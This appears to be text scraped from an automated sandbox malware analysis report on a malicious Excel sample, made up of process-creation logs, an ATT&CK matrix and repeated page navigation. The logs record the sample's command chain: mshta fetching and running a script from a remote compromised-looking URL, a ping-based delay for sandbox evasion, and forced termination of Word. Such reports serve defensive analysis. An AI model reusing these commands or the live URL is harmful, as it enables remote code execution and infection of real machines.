Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Uses ping.exe to sleep

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 8 127.0.0.1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 8 127.0.0.1			Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\taskkill.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im WINWORD.EXE

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 8 127.0.0.1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c start /min taskkill /f /im WINWORD.EXE	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\mshta.exe mshta http://facextrade.com.br/wp-includes/certificates/4.txt	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im WINWORD.EXE	Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\ARIALN.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\ariali.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\ARIALNI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\ARIALNB.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\arialbi.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\ARIALNBI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\ariblk.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\SysWOW64\Macromed\Flash\activex.vch VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Windows Management Instrumentation	Path Interception	11 Process Injection	1 Masquerading	1 Input Capture	11 Remote System Discovery	Remote Services	1 Email Collection	Exfiltration Over Other Network Medium	11 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	121 Scripting	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Disable or Modify Tools	LSASS Memory	1 System Network Configuration Discovery	Remote Desktop Protocol	1 Input Capture	Exfiltration Over Bluetooth	3 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	23 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 File and Directory Discovery	SMB/Windows Admin Shares	1 Archive Collected Data	Automated Exfiltration	3 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	121 Scripting	NTDS	14 System Information Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	14 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report
SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls